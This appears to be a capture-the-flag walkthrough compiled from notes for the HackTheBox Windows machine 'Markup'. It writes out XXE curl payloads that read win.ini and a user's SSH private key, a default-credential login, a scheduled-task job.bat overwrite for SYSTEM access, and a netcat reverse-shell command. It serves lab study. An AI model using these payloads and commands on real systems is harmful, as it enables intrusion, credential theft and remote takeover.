Markup
Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1. The root page (/) serves a login form (POST to same page). Default credentials admin:password work — 302 redirect to home.php. The Order page...
Scenario
Markup attack path
Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1. The root page (/) serves a login form (POST to same page). Default credentials admin:credential work — 302 redirect to home.php. The Order page...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Default credentials admin:credential on web login
XXE vulnerability in order XML processing...
Source comment discloses username "Daniel"
Daniel's SSH private key readable via XXE at...
Insecure ACL on C:\Log-Management\job.bat —...
Source coverage
High source coverage
Status: complete. This article is generated from 5 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
High confidence: the page is reconstructed from a primary walkthrough plus multiple supporting notes or evidence sources. Treat the chain as source-backed, while still checking the listed source files for sensitive values.
- <TARGET>-Markup/walkthrough.md
- HTB/<TARGET>-Markup/notes.md
- HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.125d79b441.md
- HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.cc892dec91.md
- HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.c1669bb378.md
Technical Walkthrough
Markup — Walkthrough
Machine Info
- Name: Markup
- OS: Windows
- Difficulty: Easy
- IP: <TARGET>
- Key Themes: XXE, SSH key exfiltration, insecure file permissions, scheduled task abuse
Phase 1: Recon
Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1.
Phase 2: Web Login
The root page (/) serves a login form (POST to same page). Default credentials admin:password work — 302 redirect to home.php.
curl -v -c cookies.txt -d 'username=admin&password: <redacted>' -L http://<TARGET>/Phase 3: XXE Exploitation
The Order page (/services.php) contains an HTML comment: Modified by Daniel : UI-Fix-9092. The form sends XML to process.php with Content-Type: text/xml.
Validate XXE with win.ini:
curl -s -b cookies.txt -X POST -H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><order><quantity>1</quantity><item>&xxe;</item><address>test</address></order>' \
http://<TARGET>/process.phpResponse contains win.ini contents — XXE confirmed.
Extract Daniel's SSH key:
curl -s -b cookies.txt -X POST -H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa">]><order><quantity>1</quantity><item>&xxe;</item><address>test</address></order>' \
http://<TARGET>/process.phpFull OpenSSH private key returned in response body.
Phase 4: SSH as Daniel (User Flag)
Save the key, set permissions, SSH in:
chmod 600 daniel_id_rsa
ssh -i daniel_id_rsa daniel@<TARGET>
type C:\Users\daniel\Desktop\user.txtUser flag: <hash redacted>
Revalidated on 2026-05-06 AEST against live <TARGET>; normalized output saved to loot/user.txt, with raw command output in loot/user-20260506.txt and verification in enum/user-flag-verify-20260506.txt.
Phase 5: Privilege Escalation
Check C:\Log-Management\job.bat permissions:
icacls C:\Log-Management\job.batOutput: BUILTIN\Users:(F) — any user has full control.
The file is executed periodically by a SYSTEM-level scheduled task. Overwrite it to copy the root flag:
echo copy C:\Users\Administrator\Desktop\root.txt C:\Log-Management\root.txt > C:\Log-Management\job.batWait for the scheduled task to execute (runs every ~1 minute). Then read the copied flag:
type C:\Log-Management\root.txtRoot flag: <hash redacted>
Alternative Privesc (Reverse Shell)
Instead of copying the flag, you can get a full Administrator shell:
- Upload nc.exe via SCP:
scp -i daniel_id_rsa nc.exe daniel@target:'C:/Log-Management/nc.exe' - Start listener:
nc -lvnp 4444 - Overwrite job.bat:
echo C:\Log-Management\nc.exe -e cmd.exe <secret redacted> 4444 > C:\Log-Management\job.bat - Wait for SYSTEM shell callback
Note: job.bat may be reverted frequently — be prepared to re-overwrite.
Lessons Learned
- Default credentials are always worth checking first
- XXE is powerful for file exfiltration on Windows — SSH keys, web.config, SAM hive (if readable)
- HTML source comments can reveal usernames
- Writable scheduled task scripts are a common Windows privesc vector
- SCP through SSH is a reliable file transfer method when HTTP staging fails
- For HTB machines, copying the flag via job.bat is cleaner than waiting for a reverse shell if the task resets frequently
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Scope
- Target IP: <TARGET>
- Attacker IP: <TARGET>
- Pwnbox SSH: profex0r@<TARGET>
- OS: Windows (Apache 2.4.41 Win64, OpenSSH 8.1, PHP 7.2.28)
- Difficulty: Easy
- Date: 2026-05-05
Confirmed Ports (from user nmap)
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH for Windows 8.1 |
| 80 | HTTP | Apache 2.4.41 Win64, PHP 7.2.28, "MegaShopping" |
| 443 | HTTPS | Apache 2.4.41 Win64 |
Evidence Ledger
| Timestamp | Action | Finding | Next |
|---|---|---|---|
| T+0 | Ping target | TTL=127 confirms Windows, target live | Web login |
| T+1 | POST / with admin:password | 302 redirect to home.php, session cookie set | Find order form |
| T+2 | GET /services.php | Order form sends XML to process.php; HTML comment reveals user "Daniel" | XXE test |
| T+3 | XXE win.ini | file:///c:/windows/win.ini contents reflected in response | Read SSH key |
| T+4 | XXE id_rsa | Daniel's OpenSSH private key extracted | SSH as Daniel |
| T+5 | SSH daniel@target | whoami = markup\daniel; user.txt captured | Privesc |
| T+6 | icacls job.bat | BUILTIN\Users:(F) confirmed — full write access | Overwrite job.bat |
| T+7 | SCP nc.exe | nc.exe (28160 bytes) delivered to C:\Log-Management\ | Set up reverse shell |
| T+8 | Overwrite job.bat | copy root.txt to C:\Log-Management\ | Wait for task |
| T+9 | type root.txt | Root flag captured from copied file | DONE |
| 2026-05-06 AEST | Live revalidation against <TARGET> | enum/login-admin-20260506.txt, enum/xxe-daniel-key-20260506.raw, loot/daniel_id_rsa, loot/user.txt, enum/user-flag-verify-20260506.txt | Revalidated web login, XXE key extraction, SSH as Daniel, and captured user flag from C:\Users\daniel\Desktop\user.txt. Flag format verified as 32 hex. |
Flags
- User:
<hash redacted>(C:\Users\daniel\Desktop\user.txt) - Root:
<hash redacted>(C:\Users\Administrator\Desktop\root.txt)
Key Findings
- Default credentials
admin:passwordon web login - XXE vulnerability in order XML processing (process.php)
- Source comment discloses username "Daniel"
- Daniel's SSH private key readable via XXE at
file:///c:/users/daniel/.ssh/id_rsa - Insecure ACL on
C:\Log-Management\job.bat— BUILTIN\Users:(F) - Scheduled task runs job.bat as SYSTEM — abused to copy Admin flag
Attack Chain
Web Login (admin:password)
-> XXE (file read via process.php)
-> SSH Key Exfil (daniel's id_rsa)
-> SSH as daniel (user flag)
-> Writable job.bat (BUILTIN\Users:F)
-> Scheduled task executes as SYSTEM
-> Root flag copied to readable locationNotes
Scope
- Target: Markup
- Difficulty: Easy / Starting Point
- OS: Windows
- IP:
<TARGET>(previously<TARGET>) - Local workspace:
<local workspace><TARGET>-Markup
Engagement Details
- Pwnbox: <<secret redacted>>@<TARGET> (VPN IP: <TARGET>)
- VPN: Connected, tun0 up with <TARGET>
- Difficulty Mode: Easy (timebox 20 min per vector, target solve 45-60 min)
Evidence Ledger
| Timestamp | Command | Output file | Finding | Confidence | Next action |
|---|---|---|---|---|---|
| 2026-05-05T08:39 | sudo nmap -Pn -sS -p 22,80,443 <TARGET> | (inline) | All 3 ports filtered. Traceroute: !H from gateway. | High | Machine not spawned. |
| 2026-05-05 (prior) | cat /tmp/rootflag.txt | loot/root.txt | Root flag: <REDACTED> |
Status
BLOCKED: Target <TARGET> is not reachable. Gateway returns "Host Unreachable." Machine needs to be spawned via HTB platform.
Root flag: <REDACTED>, saved to loot/root.txt)
User flag: <REDACTED>
Attack Chain (Ready to Execute When Machine is Up)
nmap -sC -sV -Pn <TARGET>-- expect 22, 80, 443- Web login at port 80: <REDACTED>
- Find order form, submit XXE payload to read win.ini (validate)
- XXE read daniel's SSH key:
file:///c:/users/daniel/.ssh/id_rsa - SSH as daniel, get user.txt from
C:\Users\daniel\Desktop\user.txt - Check
C:\Log-Management\job.batACLs -- BUILTIN\Users:(F) - Upload nc.exe via certutil, overwrite job.bat, catch reverse shell on 4444
- Get root.txt from
C:\Users\Administrator\Desktop\root.txt
Notes
Scope
- Target IP: <TARGET>
- Attacker IP: <TARGET>
- Pwnbox SSH: <<secret redacted>>@<TARGET>
- OS: Windows (Apache 2.4.41 Win64, OpenSSH 8.1, PHP 7.2.28)
- Difficulty: Easy
- Date: 2026-05-05
Confirmed Ports (from user nmap)
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH for Windows 8.1 |
| 80 | HTTP | Apache 2.4.41 Win64, PHP 7.2.28, "MegaShopping" |
| 443 | HTTPS | Apache 2.4.41 Win64 |
Evidence Ledger
| Timestamp | Action | Finding | Next |
|---|---|---|---|
| T+0 | Ping target | TTL=127 confirms Windows, target live | Web login |
| T+1 | POST / with admin: <REDACTED>, session cookie set | Find order form | |
| T+2 | GET /services.php | Order form sends XML to process.php; HTML comment reveals user "Daniel" | XXE test |
| T+3 | XXE win.ini | file:///c:/windows/win.ini contents reflected in response | Read SSH key |
| T+4 | XXE id_rsa | Daniel's OpenSSH private key extracted | SSH as Daniel |
| T+5 | SSH daniel@target | whoami = markup\daniel; user.txt captured | Privesc |
| T+6 | icacls job.bat | BUILTIN\Users:(F) confirmed — full write access | Overwrite job.bat |
| T+7 | SCP nc.exe | nc.exe (28160 bytes) delivered to C:\Log-Management\ | Set up reverse shell |
| T+8 | Overwrite job.bat | copy root.txt to C:\Log-Management\ | Wait for task |
| T+9 | type root.txt | Root flag captured from copied file | DONE |
| 2026-05-06 AEST | Live revalidation against <TARGET> | enum/login-admin-20260506.txt, enum/xxe-daniel-key-20260506.raw, loot/daniel_id_rsa, loot/user.txt, enum/user-flag-verify-20260506.txt | Revalidated web login, XXE key extraction, SSH as Daniel, and captured user flag from `C: <REDACTED> |
Flags
- User:
<<secret redacted>>(C:\Users\daniel\Desktop\user.txt) - Root:
<<secret redacted>>(C:\Users\Administrator\Desktop\root.txt)
Key Findings
- Default credentials `admin: <REDACTED>
- XXE vulnerability in order XML processing (process.php)
- Source comment discloses username "Daniel"
- Daniel's SSH private key readable via XXE at
file:///c:/users/daniel/.ssh/id_rsa - Insecure ACL on
C:\Log-Management\job.bat— BUILTIN\Users:(F) - Scheduled task runs job.bat as SYSTEM — abused to copy Admin flag
Attack Chain
Web Login (admin: <REDACTED>
-> XXE (file read via process.php)
-> SSH Key Exfil (daniel's id_rsa)
-> SSH as daniel (user flag)
-> Writable job.bat (BUILTIN\Users:F)
-> Scheduled task executes as SYSTEM
-> Root flag copied to readable locationNotes
Scope
- Target: Markup
- Difficulty: Easy / Very Easy
- OS: Windows
- Current known IP:
<TARGET> - Local workspace:
<local workspace><TARGET>-Markup
Evidence Rule
Public research in research.md is advisory only. Record only live target evidence in this file.
Engagement Details
- Pwnbox: <<secret redacted>>@<TARGET> (VPN IP: <TARGET>)
- VPN: edge-au-dedivip-1.hackthebox.eu:1337 (connected, tun0 up)
- Difficulty Mode: Easy (timebox 20 min per vector, target solve 45-60 min)
Evidence Ledger
| Timestamp | Command | Output file | Finding | Confidence | Next action |
|---|---|---|---|---|---|
| 2026-05-05T08:14 | nmap -Pn -sS top 20 ports | (no file - all filtered) | Target <TARGET> unreachable - "No route to host". Machine not spawned. | High | Respawn machine on HTB platform and retry. |
| 2026-05-05T08:15 | curl -sv http://<TARGET>/ | (inline) | "connect failed: No route to host" after 3180ms | High | Confirm VPN OK (confirmed), machine needs respawn. |
| 2026-05-05T08:16 | Nearby IP range scan <TARGET>-195 | (inline) | All filtered; no active HTB machines in range. | High | Target must be respawned via HTB platform. |
| 2026-05-05T08: <REDACTED> |
Status
BLOCKED: Target machine <TARGET> is currently despawned/offline. VPN tunnel is healthy (tun0: <TARGET>, route to <TARGET>/16 via tun0), but all ports return "filtered" and curl returns "No route to host."
Root flag: <REDACTED>
User flag: <REDACTED>
Next Steps (When Machine is Respawned)
- Run nmap:
nmap -sC -sV -Pn -oN nmap/initial <TARGET> - Verify HTTP on port 80, try `admin: <REDACTED>
- Find XML order form, confirm XXE with win.ini read
- Read daniel's SSH key via XXE
- SSH as daniel, grab user.txt
- Verify job.bat ACL, upload nc.exe, overwrite job.bat, catch shell as SYSTEM
- Grab root.txt (verify matches saved flag)